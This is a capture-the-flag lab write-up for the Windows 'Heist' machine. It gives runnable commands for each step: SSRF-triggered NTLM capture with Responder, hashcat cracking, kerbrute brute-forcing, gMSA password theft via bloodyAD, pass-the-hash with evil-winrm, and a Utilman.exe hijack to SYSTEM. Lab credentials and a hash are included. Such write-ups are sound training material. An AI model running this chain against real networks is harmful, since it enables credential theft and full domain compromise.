skip to content
← back to catalog
ES
FILE №008 · CLASSIFICATION DECLASSIFIED ·

Heist

PG HARD TARGET: 192.168.146.165
#windows#ssrf#ntlm-relay#responder#gmsa#serestoreprivilege#utilman#bloodhound#active-directory

Heist Banner

Details

  • OS: Windows
  • Difficulty: Hard
  • IP Address: 192.168.146.165
  • Author: AETH3RON

Overview

Heist is a Windows machine that involves exploiting a web application to gain initial access via Server-Side Request Forgery (SSRF) and NTLM relaying. The foothold is established by capturing and cracking credentials leaked through the SSRF vulnerability. Lateral movement is achieved by enumerating Active Directory permissions, specifically leveraging the ability to read Group Managed Service Account (GMSA) passwords. Finally, privilege escalation to SYSTEM is accomplished by abusing the SeRestorePrivilege to perform a Utilman binary hijack.

Enumeration

Nmap

We began by performing a syn-scan to identify open ports on the target.

nmap -Pn -sS -sV -p- 192.168.146.165 -oN nmap-basic

Nmap basic SYN scan showing open ports on Heist

Following the port discovery, we ran a targeted scan using default scripts to enumerate the services running on the discovered ports.

nmap -Pn -sC -p53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,8080,9389 192.168.146.165 -oN nmap-common

Nmap targeted scan with default scripts on discovered ports

Web Enumeration

We investigated the web server running on port 8080. Upon accessing the site, we observed a support ticket lookup interface.

Support ticket lookup web interface on port 8080

To test for vulnerabilities, we attempted to determine if the server could communicate with our attacking machine. We started a local Python HTTP server:

python3 -m http.server 80

Python HTTP server started to test SSRF

We then entered our IP address into the search bar.

Attacker IP entered into the search bar to trigger SSRF

The application successfully sent a request to our listener, confirming the existence of a Server-Side Request Forgery (SSRF) vulnerability.

Foothold

To leverage the SSRF vulnerability for credential harvesting, we utilized Responder. We set up the tool to listen on our tun0 interface.

responder -I tun0 -w

Responder listening on tun0 for incoming NTLM authentication

With Responder running, we returned to the web application and triggered the SSRF vulnerability again, pointing it to our attacker IP. The server attempted to authenticate against our rogue SMB server, allowing us to capture the NTLMv2 hash for the user enox.

NTLMv2 hash for user enox captured by Responder via SSRF

We saved the captured hash to a file and used hashcat to crack it using the rockyou.txt wordlist.

hashcat -m 5600 enox.hash /usr/share/wordlists/rockyou.txt

Hashcat cracking the NTLMv2 hash revealing password 'california'

The hash was successfully cracked, revealing the password: california.

Alternative Path with User Enumeration

Although it is not the primary attack vector, it is also possible to identify valid domain users via Kerberos enumeration. We use kerbrute to validate usernames against the domain.

./kerbrute userenum -d heist.offsec --dc 192.168.146.165 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -t 100

Kerbrute username enumeration against the domain

Once the username Enox is confirmed, we can perform a password brute-force attack.

./kerbrute bruteuser -d heist.offsec --dc 192.168.146.165 --safe /usr/share/seclists/Passwords/xato-net-10-million-passwords.txt Enox

Kerbrute password brute-force against user Enox

Note: This method carries a high risk of account lockout in live environments. Please use the --safe flag.

With valid credentials (enox:california), we established a shell using evil-winrm.

evil-winrm -i 192.168.146.165 -u enox -p california

Evil-WinRM shell established as enox

Lateral Movement

To identify potential escalation paths within the domain, we uploaded SharpHound and collected data.

.\SharpHound.exe -c All --zipfilename loot.zip

SharpHound collecting all domain data for BloodHound analysis

After analyzing the data in BloodHound, we discovered that the user Enox has permission to read the msDS-ManagedPassword attribute of the Group Managed Service Account (GMSA) svc_apache$.

BloodHound showing enox can read GMSA password of svc_apache$

We used bloodyAD to query this object and retrieve the GMSA account’s NTLM hash.

bloodyAD --host "192.168.146.165" -d "heist.offsec" -u "enox" -p "california" get object 'svc_apache$' --attr msDS-ManagedPassword

BloodyAD retrieving the NTLM hash of the svc_apache$ GMSA account

We successfully retrieved the hash. We then used evil-winrm to authenticate as svc_apache$.

evil-winrm -i 192.168.146.165 -u svc_apache$ -H 9943473ce1243e91129513bb932e9c90

Evil-WinRM lateral movement shell as svc_apache$

Privilege Escalation

Upon accessing the system as svc_apache$, we checked our assigned privileges.

whoami /priv

whoami /priv showing SeRestorePrivilege for svc_apache$

We identified the SeRestorePrivilege. This privilege allows a user to modify any file on the system, regardless of Access Control Lists (ACLs). We abused this by replacing the Ease of Access utility (Utilman.exe) with cmd.exe.

ren Utilman.exe Utilman.old
ren cmd.exe Utilman.exe

Utilman.exe renamed to Utilman.old and replaced with cmd.exe

With the binary replaced, we initiated an RDP connection to the target from our attacking machine.

rdesktop 192.168.146.165

RDP connection established to Heist via rdesktop

At the login screen, we triggered the “Ease of Access” button (Windows Key + U). Because we replaced the binary, this executed cmd.exe with SYSTEM privileges.

SYSTEM shell obtained by triggering Ease of Access button on RDP login screen

Business Impact

This attack chain exposes critical weaknesses in web application security and Active Directory service account management. The initial SSRF vulnerability allows an attacker to coerce NTLM authentication from internal services, bypassing perimeter defenses entirely. The subsequent abuse of Group Managed Service Account (GMSA) password reading permissions demonstrates how overly permissive AD delegations can grant access to highly privileged service accounts. The final exploitation of SeRestorePrivilege — enabling arbitrary file writes including system binaries — illustrates how a single compromised service account can lead to full domain controller compromise, threatening the integrity of all authentication and authorization within the organization.

References

// FIELD DISPATCHES

New recovered files, straight to your inbox. No noise.